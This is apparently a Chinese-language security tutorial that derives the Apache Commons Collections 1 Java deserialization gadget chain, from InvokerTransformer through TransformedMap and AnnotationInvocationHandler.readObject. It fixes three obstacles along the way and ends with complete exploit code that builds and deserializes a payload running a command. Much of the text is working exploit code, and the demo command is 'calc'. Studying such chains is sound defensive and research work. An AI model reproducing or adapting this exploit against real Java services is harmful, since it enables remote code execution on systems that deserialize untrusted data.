执行类sink
Transformer接口下的实现类InvokerTransformer
条件:
继承了Serializable
关键方法:
1 2 3 4 5
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }
|
根据有参构造参数可知所有的参数都是可控的
回顾一下反射如何调用runtime的exec方法
1 2 3 4
| Runtime r=Runtime.getRuntime(); Class c=r.getClass(); Method m=c.getMethod("exec", String.class); m.invoke(r,"calc");
|
尝试使用transformer来调用
1 2 3
| Runtime r=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); invokerTransformer.transform(r);
|
gadget chain调用链
想要调用InvokerTransformer对象中的transform方法,就寻找调用了方法名为transform方法的代码,在transformedmap文件中找到了其中的checksetvalue中存在一个调用了transform方法的代码。
1 2 3
| protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
找到了一个调用了transform方法的类还不够,我们还需要确认valueTransformer参数可控,才能实现调用InvokerTransformer类中的transform方法。找到他的构造方法
1 2 3 4 5
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
|
发现valueTransformer参数可控。满足两个条件,调用同名方法,并且对象可控。但是存在一个问题,这里的类都是protected方法,也就是说仅允许类内部访问。所以我们就需要找到内部实例化方法。
1 2 3
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
发现decorate方法可以进行构造,就解决了构造方法无法调用的问题。接下来的思路就是解决如何调用checksetvalue方法了。
step2(寻找合适的调用了checksetvalue方法的方法)
查找checksetvalue,发现在类AbstractInputCheckedMapDecorator中的副类MapEntry中的setValue方法调用了checkSetValue方法。
1 2 3 4
| public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); }
|
这里调用了parent对象的check’setvalue方法,我们需要审计parent变量是否可控,查看构造方法。
1 2 3 4
| protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; }
|
parent方法可控。而这个副类重写了AbstractMapEntryDecorator类中的setvalue方法,我们查看AbstractMapEntryDecorator类中的setvalue方法。

发现这个类继承了map.entry接口,这就意味着我们只需要通过map遍历即可调用到setvalue方法。

梳理一下:
sink(执行类)
Transformer接口下的实现类InvokerTransformer内部的transform方法
gadget chain(调用链)
TransformedMap中的checkSetValue方法调用了transform方法,且对象可控。
由于构造方法和checksetvalue方法都是protected方法所以需要找到一个内部实例化的方法,于是找到了decorate方法,解决构造方法无法外部调用的问题。
然后我们要寻找合适的能够调用checksetvalue方法的代码,于是我们找到了AbstractInputCheckedMapDecorator类,在这个类中的副类MapEntry类,发现内部的setvalue方法调用了checksetvalue方法,且其中的对象parent可控。
且这个副类所继承的类,他又继承了Map.Entry接口类,这就使得它可以再进行map遍历时调用键中所指示的对象的类的setvalue方法,实现调用副类MapEntry中的setvalue方法,并通过这个setvalue方法调用到checksetvalue方法。
如下的代码实现了上述调用链的流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Runtime r=Runtime.*getRuntime*();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("gxngxngxn","gxngxngxn");
Map<Object,Object> transformedmap=TransformedMap.*decorate*(map,null,invokerTransformer);
for(Map.Entry entry:transformedmap.entrySet()) { entry.setValue(r); }
|
建议调试运行一下。
但这并不是我们最终想要达到的效果,虽然通过map遍历可以实现调用链,但是我们还是需要一个readObject方法或者其他调用了setvalue方法名的方法,替代掉遍历map这个操作。
入口类(寻找合适setvalue调用)
我们在AnnotationInvocationHandler类中的readobject方法中找到了setvalue的调用。

接下来寻找这个类的构造器
1 2 3 4 5 6 7 8 9
| AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
|
观察这个构造器我们可见membervalues这个参数是可控的。但是存在一个问题,就是这个类的定义,并没有写public这类的声明,也就意味着,这个方法只能在这个包内部调用。如果想要调用这个类就需要使用反射来调用。

根据分析我们就可以开始构造利用的代码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map=new HashMap<>(); map.put("gxngxngxn","gxngxngxn"); Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); constructor.newInstance(Override.class,transformedmap); serialize(c); unserialize("D://CC1.txt"); } public static void serialize(Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("D://CC1.txt")); oos.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }
|
但是这段代码运行后无法进行命令执行,为什么?我们逐个分析一下。
problem1(runtime类未继承serializable接口)
来到runtime类中。

发现他没有继承serializable接口,所以无法被序列化。那么接下来如何操作?我们知道它的原型类class是继承了serializable接口的,所以是可以序列化的。

那么我们如何获取一个runtime的对象呢?

可以看到这里存在一个静态方法,它会返回一个runtime对象。所以我们可以利用反射实现命令执行:
1 2 3 4 5
| Class rc=Class.forName("java.lang.Runtime"); Method getRuntime= rc.getDeclaredMethod("getRuntime",null); Runtime r=(Runtime) getRuntime.invoke(null,null); Method exec=rc.getDeclaredMethod("exec", String.class); exec.invoke(r,"calc");
|
利用上述操作我们就可以解决runtime类无法序列化的问题。根据上述代码为我们修改利用代码中的transform部分。
1 2 3 4 5 6 7 8
| Class rc=Class.forName("java.lang.Runtime");
Method getRuntime= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
|
但这样嵌套创建较为麻烦,所以这里使用了Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法

修改一下代码。
1 2 3 4 5 6 7 8 9 10
| Class rc=Class.forName("java.lang.Runtime");
Transformer[] Transformers=new Transformer[]{ new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers); chainedTransformer.transform(Runtime.class);
|
到这里就解决了第一个问题,runtime对象无法序列化,但是这样仍然无法实现命令执行。因为还存在一个问题。
problem2(member判断)

在我们调用的AnnotationInvocationHandler类的readobject方法中存在两个判断,一个是判断membertype是否为空,先看第一个,我们打上断点看一下变量。

发现membertype为null自然无法第一个判断未通过直接结束了。这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解override是没有成员变量的。而另一个注解target存在一个变量。所以我们把注解换为target并把第一个键值对的值修改为value即可通过判断。按理来说我们现在允许应当可以正常进行命令执行,但是仍旧失败了,为什么?
problem3(value值非预期value)

debug发现,传入的value不是我们所期望的runtime.class,如何将他改为我们期望的runtime.class?
这里就需要ConstantTransformer类,我们看到这个类里面也有transform,和构造器配合使用的话,我们传入什么值,就会返回某个值,这样就能将value的值转为Runtime.class

这样就解决了传入的value非预期的情况。修改后再次运行成功进行命令执行。
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { Class rc=Class.forName("java.lang.Runtime"); Transformer[] Transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers); HashMap<Object,Object> map=new HashMap<>(); map.put("value","gxngxngxn"); Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o=constructor.newInstance(Target.class,transformedmap); serialize(o); unserialize("D://CC1.txt"); } public static void serialize(Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("D://CC1.txt")); oos.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }
|
利用链如下:
1 2 3 4 5
| ->AnnotationInvocationHandler.readObject()//入口类 ->AbstractInputCheckedMapDecorator.setValue() ->TransformedMap.checkSetValue() ->ChainedTransformer.transform() ->InvokerTransformer.transform()//执行类
|